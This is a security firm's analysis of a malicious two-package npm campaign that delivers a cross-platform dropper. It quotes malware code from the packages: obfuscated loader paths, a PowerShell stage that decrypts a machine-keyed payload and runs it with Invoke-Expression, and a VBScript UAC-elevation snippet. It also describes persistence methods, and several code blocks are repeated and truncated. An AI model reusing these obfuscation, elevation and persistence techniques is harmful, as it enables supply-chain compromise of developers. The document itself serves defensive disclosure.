No headings found in content selector: .toc-content
Overview
Ossprey Security identified a two-package campaign on the npm registry in which aurelia-type@0.5.1 and selparsecss-selector@2.1.0 work together to deliver a cross-platform malware dropper to developer workstations. aurelia-type impersonates @tailwindcss/typography and serves as the lure; it covertly bootstraps bytenode through a CSS em-unit-encoded eval call, and imports selparsecss-selector directly in its runtime code. selparsecss-selector impersonates postcss-selector-parser and contains a heavily obfuscated dropper in dist/util/webpack.min.js that downloads platform-specific payloads from IPFS and establishes persistence via macOS LaunchDaemons, shell profiles, or a Windows VBScript-mediated UAC bypass. The Windows second-stage payload employs device-fingerprint-keyed XOR encryption that derives its key from the victim machine's COMPUTERNAME and USERNAME, preventing static decryption. The campaign also inserts a fabricated CVE reference (CVE-2026-9358) in maxNestingDepth.js as a social-engineering detail intended to pass code review. Attribution remains unconfirmed; the npm account lists pyramid.info@gmail.com as the author contact.
Technical Breakdown
Stage 0: Lure Package Installation
A developer installs aurelia-type, believing it to be a Tailwind CSS typography plugin. The package.json reinforces the deception: it names tailwindcss as a peer dependency, lists CSS-themed keywords, and even cites a plausible description about 'elegant typographic defaults.' The devDependencies field lists selparsecss-selector@^2.1.0, and utils.js imports require('selparsecss-selector') directly at the module level. On npm install, both packages land in node_modules. The main entry src/index.js requires ./styles, which sets the next stage in motion.
When src/styles.js is first evaluated, it runs an obfuscated eval call that loads bytenode. The obfuscation repurposes the legitimate CSS em() helper already defined in the file. Two integer arrays: fontSizes containing codepoints for require and lineHeights containing codepoints for bytenode, are mapped through String.fromCharCode(parseFloat(em(c * 16, 16))). The em() function formats c as c + 'em'; parseFloat strips the unit suffix, recovering the original integer; String.fromCharCode converts it back to a character. The reconstructed strings are joined and passed to eval, producing eval("require('bytenode')"). No readable string containing require, bytenode, or eval with a meaningful argument appears anywhere in the file. A misleading inline comment (// em(c*16, 16) => 'cem' (e.g., '114em'), parseFloat gives 114) narrates the logic in a way that sounds innocuous.
When selparsecss-selector's main entry dist/index.js is evaluated, it immediately side-effects require('./util/propAssemble'). This triggers a chain of four obfuscated loader modules: propAssemble.js calls propCache(), which requires wrapper.js (located via a CSS-hex-escaped path), installs SIGINT/SIGTERM handlers, and then calls loadViaNormalize(). The wrapper.js module uses the legitimate unesc() CSS utility to decode hex-escaped filenames: \77\72\61\70\70\65\72\2e\6a\73 decodes to wrapper.js and \66\72\61\67\6d\65\6e\74\2e\6a\73 decodes to fragment.js. The normalize() and validate() methods compute the path selectors/fragment.jsc, a bytenode bytecode target, via a .js-to-.jsc regex substitution. The full chain serves to obscure the package's loading behavior while providing entry hooks for the bytenode-patched require system.
// selparsecss-selector/dist/util/propPaths.js
var path = require("path");
var unesc = require("./unesc").default;
var selectorsDir = path.join(__dirname, "..", "selectors");
module.exports = {
setPropPath: path.join(selectorsDir, unesc("\\77\\72\\61\\70\\70\\65\\72\\2e\\6a\\73")),
// unesc decodes: 'wrapper.js'
getPropPath: selectorsDir,
};
// selparsecss-selector/dist/selectors/wrapper.js
var Options = unesc("\\66\\72\\61\\67\\6d\\65\\6e\\74\\2e\\6a\\73"); // 'fragment.js'
var param1 = unesc("\\2e\\6a\\73"); // '.js'
var param2 = unesc("\\2e\\6a\\73\\63"); // '.jsc'
var normalizeOption = path.join(__dirname, Options); // selectors/fragment.js
function normalize() {
var arg = normalizeOption.replace(
new RegExp(param1.replace(/[.*+?^${}()|[\]\\]/g, "\\$&") + "$"), param2
); // computes selectors/fragment.jsc
}
function validate() {
var arg = normalizeOption.replace(
new RegExp(param1.replace(/[.*+?^${}()|[\]\\]/g, "\\
// selparsecss-selector/dist/util/propPaths.js
var path = require("path");
var unesc = require("./unesc").default;
var selectorsDir = path.join(__dirname, "..", "selectors");
module.exports = {
setPropPath: path.join(selectorsDir, unesc("\\77\\72\\61\\70\\70\\65\\72\\2e\\6a\\73")),
// unesc decodes: 'wrapper.js'
getPropPath: selectorsDir,
};
// selparsecss-selector/dist/selectors/wrapper.js
var Options = unesc("\\66\\72\\61\\67\\6d\\65\\6e\\74\\2e\\6a\\73"); // 'fragment.js'
var param1 = unesc("\\2e\\6a\\73"); // '.js'
var param2 = unesc("\\2e\\6a\\73\\63"); // '.jsc'
var normalizeOption = path.join(__dirname, Options); // selectors/fragment.js
function normalize() {
var arg = normalizeOption.replace(
new RegExp(param1.replace(/[.*+?^${}()|[\]\\]/g, "\\$&") + "$"), param2
); // computes selectors/fragment.jsc
}
function validate() {
var arg = normalizeOption.replace(
new RegExp(param1.replace(/[.*+?^${}()|[\]\\]/g, "\\
// selparsecss-selector/dist/util/propPaths.js
var path = require("path");
var unesc = require("./unesc").default;
var selectorsDir = path.join(__dirname, "..", "selectors");
module.exports = {
setPropPath: path.join(selectorsDir, unesc("\\77\\72\\61\\70\\70\\65\\72\\2e\\6a\\73")),
// unesc decodes: 'wrapper.js'
getPropPath: selectorsDir,
};
// selparsecss-selector/dist/selectors/wrapper.js
var Options = unesc("\\66\\72\\61\\67\\6d\\65\\6e\\74\\2e\\6a\\73"); // 'fragment.js'
var param1 = unesc("\\2e\\6a\\73"); // '.js'
var param2 = unesc("\\2e\\6a\\73\\63"); // '.jsc'
var normalizeOption = path.join(__dirname, Options); // selectors/fragment.js
function normalize() {
var arg = normalizeOption.replace(
new RegExp(param1.replace(/[.*+?^${}()|[\]\\]/g, "\\$&") + "$"), param2
); // computes selectors/fragment.jsc
}
function validate() {
var arg = normalizeOption.replace(
new RegExp(param1.replace(/[.*+?^${}()|[\]\\]/g, "\\
Stage 3: RC4-Obfuscated Dropper in webpack.min.js
The dropper in dist/util/webpack.min.js is a 40 KB self-executing IIFE. It opens with a shuffled string table of over 700 base64+RC4-encrypted entries and a self-correcting integrity check that rotates the array until parseInt(o(637,'Xhs$'))/1 + ... evaluates to exactly 325625. After the shuffle, the code imports child_process, fs, os, path, and https, then calls os.platform() to detect the host. A lookup table maps win32 and darwin to their respective IPFS payload URLs. We decoded the full string table by executing the shuffle block and f() decryption function in an isolated VM context, all sensitive identifiers are RC4-keyed per index-key pair, so brute-force decryption without running the shuffler returns garbage.
Stage 4: Platform-Specific Payload Drop and Execution
The dropper branches on the detected platform. On Windows (win32), it checks whether it is running with elevated privileges via a separate routine (S); if elevated, the drop path is C:\Windows\System32, otherwise os.tmpdir(). It writes updatesystem32.ps1 (downloaded from IPFS) and constructs a VBScript file updatesystem32.vbs whose content uses Shell.Application.ShellExecute with the "runas" verb to request UAC elevation before launching PowerShell with -NoProfile -ExecutionPolicy Bypass -File. On macOS (darwin), the dropper checks process.getuid() === 0 to choose between /usr/local/bin (root) and ~/bin (user) as the drop directory, writes updatesystem.sh from the IPFS download, and executes it via nohup /bin/bash or sudo nohup /bin/bash, redirecting stdout and stderr to .out and .err files in the same directory. Shell profiles (.bashrc, .zshrc, /etc/profile) are modified to re-execute the script on each new shell session.
Stage 5: Device-Fingerprint-Keyed Windows Second-Stage
The Windows IPFS payload (updatesystem32.ps1) retrieved from QmbZ3biucSF61WnW3NdsXyak6Kk455dDGxLEGvinUycBLB is a PowerShell script that adds a second layer of anti-analysis protection. It derives a 32-byte XOR key by SHA256-hashing the concatenated string $env:COMPUTERNAME|$env:USERNAME|'windows_system32&update'. A large base64-encoded ciphertext blob (split across 35 array elements) is decoded and XOR-decrypted byte-by-byte using the derived key, then the resulting plaintext is passed directly to Invoke-Expression. Because the key material is machine-specific, the final payload content is unique per victim and cannot be decrypted through static analysis alone. This could indicate that the attack is targeted at a specify person or group. The script header contains misleading comments (# This appears to be a network diagnostics.) and a salt string (windows_system32&update) chosen to resemble a legitimate Windows subsystem name.
# updatesystem32.ps1 (retrieved from IPFS CID QmbZ3biucSF61WnW3NdsXyak6Kk455dDGxLEGvinUycBLB)
# Environment-dependent for System32 Update
# This is derived from environment variables.
# This appears to be a network diagnostics.
$salt = "windows_system32&update"
$keyMaterial = "$env:COMPUTERNAME|$env:USERNAME|$salt"
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$keyBytes = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyMaterial))
$sha256.Dispose()
$b64Parts = @(
'uYUXJw8Ww3ecL0Yg0F/YVvVIOeG8REZ875fk9I9mUIC6jnMSLi/+QdpLI2qSQMNBt1Vu05tVFUnPqSg3',
'cToT0+jRDnhWIshohQRIPZUamHDjGifmrwRBWML8PiBEYBfh7MwqEQJQ6228bUoHlXbOZ6IACu6aXiMN',
# ... 33 additional base64 chunks ...
'rkMUUOytaBVyFgnZ+c57Zg8Nym+NNAVuwACMB/QBPuCtXkhxz6phAHZ9aLy+wTYhHh3Kc4c0BwqZX9xM',
'5A1mocUmQlzPtygwdycV2enAe2thbrcNy2ZtK5NDwVPlDT376Gs8VNrJDFBzJ0WLuus2NUEr2G2NJV1u'
)
$b64 = -join $b64Parts
$xored = [System.Convert]::FromBase64String($b64)
$plain = New-Object byte[] $xored.Length
for ($i = 0; $i -lt $xored.Length; $i++) {
$plain[$i] = $xored[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
$innerScript = [System.Text.Encoding]
# updatesystem32.ps1 (retrieved from IPFS CID QmbZ3biucSF61WnW3NdsXyak6Kk455dDGxLEGvinUycBLB)
# Environment-dependent for System32 Update
# This is derived from environment variables.
# This appears to be a network diagnostics.
$salt = "windows_system32&update"
$keyMaterial = "$env:COMPUTERNAME|$env:USERNAME|$salt"
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$keyBytes = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyMaterial))
$sha256.Dispose()
$b64Parts = @(
'uYUXJw8Ww3ecL0Yg0F/YVvVIOeG8REZ875fk9I9mUIC6jnMSLi/+QdpLI2qSQMNBt1Vu05tVFUnPqSg3',
'cToT0+jRDnhWIshohQRIPZUamHDjGifmrwRBWML8PiBEYBfh7MwqEQJQ6228bUoHlXbOZ6IACu6aXiMN',
# ... 33 additional base64 chunks ...
'rkMUUOytaBVyFgnZ+c57Zg8Nym+NNAVuwACMB/QBPuCtXkhxz6phAHZ9aLy+wTYhHh3Kc4c0BwqZX9xM',
'5A1mocUmQlzPtygwdycV2enAe2thbrcNy2ZtK5NDwVPlDT376Gs8VNrJDFBzJ0WLuus2NUEr2G2NJV1u'
)
$b64 = -join $b64Parts
$xored = [System.Convert]::FromBase64String($b64)
$plain = New-Object byte[] $xored.Length
for ($i = 0; $i -lt $xored.Length; $i++) {
$plain[$i] = $xored[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
$innerScript = [System.Text.Encoding]
# updatesystem32.ps1 (retrieved from IPFS CID QmbZ3biucSF61WnW3NdsXyak6Kk455dDGxLEGvinUycBLB)
# Environment-dependent for System32 Update
# This is derived from environment variables.
# This appears to be a network diagnostics.
$salt = "windows_system32&update"
$keyMaterial = "$env:COMPUTERNAME|$env:USERNAME|$salt"
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$keyBytes = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyMaterial))
$sha256.Dispose()
$b64Parts = @(
'uYUXJw8Ww3ecL0Yg0F/YVvVIOeG8REZ875fk9I9mUIC6jnMSLi/+QdpLI2qSQMNBt1Vu05tVFUnPqSg3',
'cToT0+jRDnhWIshohQRIPZUamHDjGifmrwRBWML8PiBEYBfh7MwqEQJQ6228bUoHlXbOZ6IACu6aXiMN',
# ... 33 additional base64 chunks ...
'rkMUUOytaBVyFgnZ+c57Zg8Nym+NNAVuwACMB/QBPuCtXkhxz6phAHZ9aLy+wTYhHh3Kc4c0BwqZX9xM',
'5A1mocUmQlzPtygwdycV2enAe2thbrcNy2ZtK5NDwVPlDT376Gs8VNrJDFBzJ0WLuus2NUEr2G2NJV1u'
)
$b64 = -join $b64Parts
$xored = [System.Convert]::FromBase64String($b64)
$plain = New-Object byte[] $xored.Length
for ($i = 0; $i -lt $xored.Length; $i++) {
$plain[$i] = $xored[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
$innerScript = [System.Text.Encoding]
Stage 6: Persistence
The dropper creates persistence through multiple overlapping mechanisms to survive reboots and shell restarts. On macOS with root access, it writes a LaunchDaemon plist at /Library/LaunchDaemons/com.apple.updatesystem.plist, a name crafted to resemble legitimate Apple software update infrastructure. Without root, it falls back to ~/Library/LaunchAgents/com.apple.updatesystem.plist. On both macOS and Linux, it appends a re-execution command to .bashrc, .zshrc, and /etc/profile. On Windows, the VBScript bypass ensures the PowerShell stage re-runs with elevated privileges. As an additional social-engineering layer, the dist/util/maxNestingDepth.js file contains a fabricated CVE citation, CVE-2026-9358 / CWE-674 , with a plausible description about preventing stack-overflow via nesting depth limits. No such CVE exists; the citation is designed to pass scrutiny during a dependency security review.
// selparsecss-selector/dist/util/maxNestingDepth.js (fabricated CVE)
/**
* The default maximum selector nesting depth allowed when parsing or
* serializing a selector. Going beyond this would otherwise recurse deeply
* enough to overflow the call stack (CVE-2026-9358 / CWE-674). Real-world
* selectors never get anywhere near this, so it acts purely as a safety net
* that turns an uncatchable stack overflow into a catchable error.
*/
exports.MAX_NESTING_DEPTH = 256;
// VBScript content reconstructed from webpack.min.js decoded strings:
// Set objShell = CreateObject("Shell.Application")
// objShell.ShellExecute "powershell.exe",
// "-NoProfile -ExecutionPolicy Bypass -File \"C:\\Windows\\System32\\updatesystem32.ps1\"
// selparsecss-selector/dist/util/maxNestingDepth.js (fabricated CVE)
/**
* The default maximum selector nesting depth allowed when parsing or
* serializing a selector. Going beyond this would otherwise recurse deeply
* enough to overflow the call stack (CVE-2026-9358 / CWE-674). Real-world
* selectors never get anywhere near this, so it acts purely as a safety net
* that turns an uncatchable stack overflow into a catchable error.
*/
exports.MAX_NESTING_DEPTH = 256;
// VBScript content reconstructed from webpack.min.js decoded strings:
// Set objShell = CreateObject("Shell.Application")
// objShell.ShellExecute "powershell.exe",
// "-NoProfile -ExecutionPolicy Bypass -File \"C:\\Windows\\System32\\updatesystem32.ps1\"
// selparsecss-selector/dist/util/maxNestingDepth.js (fabricated CVE)
/**
* The default maximum selector nesting depth allowed when parsing or
* serializing a selector. Going beyond this would otherwise recurse deeply
* enough to overflow the call stack (CVE-2026-9358 / CWE-674). Real-world
* selectors never get anywhere near this, so it acts purely as a safety net
* that turns an uncatchable stack overflow into a catchable error.
*/
exports.MAX_NESTING_DEPTH = 256;
// VBScript content reconstructed from webpack.min.js decoded strings:
// Set objShell = CreateObject("Shell.Application")
// objShell.ShellExecute "powershell.exe",
// "-NoProfile -ExecutionPolicy Bypass -File \"C:\\Windows\\System32\\updatesystem32.ps1\"
What Should You Do
Remove aurelia-type and selparsecss-selector from all projects and delete them from node_modules; search package-lock.json and yarn.lock for both package names including transitive entries.
On macOS, inspect /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for any plist file containing updatesystem and remove it, then run launchctl unload on the plist path before deleting.
On Windows, check C:\Windows\System32\ for updatesystem32.ps1 and updatesystem32.vbs; review PowerShell execution logs and the Windows event log for Invoke-Expression activity.
Audit .bashrc, .zshrc, /etc/profile, and any other shell init files on affected developer machines for appended commands re-executing unknown scripts.
Rotate all credentials accessible from affected developer machines, including cloud provider keys, npm tokens, SSH keys, and browser-stored credentials.
Block outbound connections to ipfs.io in developer environments, or add the two specific IPFS CIDs (QmVAin... and QmbZ3b...) to DNS/proxy blocklists.
Audit npm dependency trees for any other packages authored by pyramid.info@gmail.com or the npm account that published these packages.
Add or enforce npm install --ignore-scripts in CI pipelines to reduce the install-time execution surface for future campaigns.
Both packages were published to the npm registry as impersonators of popular CSS libraries, weaponizing developer trust in the ecosystem to deliver malware on install.
T1027
Obfuscated Files or Information
styles.js encodes bytenode via CSS em-unit arithmetic; webpack.min.js uses a 700-entry RC4-shuffled string table; file paths use CSS hex escapes decoded by unesc().
T1059.001
Command and Scripting Interpreter: PowerShell
updatesystem32.ps1 is the Windows second-stage, launched with -NoProfile -ExecutionPolicy Bypass and executing a device-fingerprint-decrypted payload via Invoke-Expression.
T1059.005
Command and Scripting Interpreter: Visual Basic
updatesystem32.vbs uses Shell.Application.ShellExecute with "runas" to trigger UAC elevation for the PowerShell stage.
T1059.004
Command and Scripting Interpreter: Unix Shell
The macOS dropper writes and executes updatesystem.sh via nohup /bin/bash or sudo nohup /bin/bash.
T1543.004
Create or Modify System Process: Launch Daemon
Root-level persistence is achieved by writing /Library/LaunchDaemons/com.apple.updatesystem.plist, mimicking legitimate Apple daemon naming.
T1543.001
Create or Modify System Process: Launch Agent
User-level persistence falls back to ~/Library/LaunchAgents/com.apple.updatesystem.plist when getuid() is non-zero.
.bashrc, .zshrc, and /etc/profile are modified to re-execute the dropper payload on each new interactive shell session.
A Note from Ossprey
Ossprey's static-analysis pipeline flagged these packages, catching the em-unit encoding trick that evaded naive string matching. This class of campaign; two mutually-dependent lookalike packages where one handles bootstrapping and the other carries the payload, is becoming a recurring pattern in the CSS tooling space and warrants specific detection rules in dependency graph analysis.
SHARE
Subscribe Now.
Subscribe Now.
Subscribe Now.
Ossprey helps you understand what code is trying to do, before you trust it.
Ossprey helps you understand what code is trying to do, before you trust it.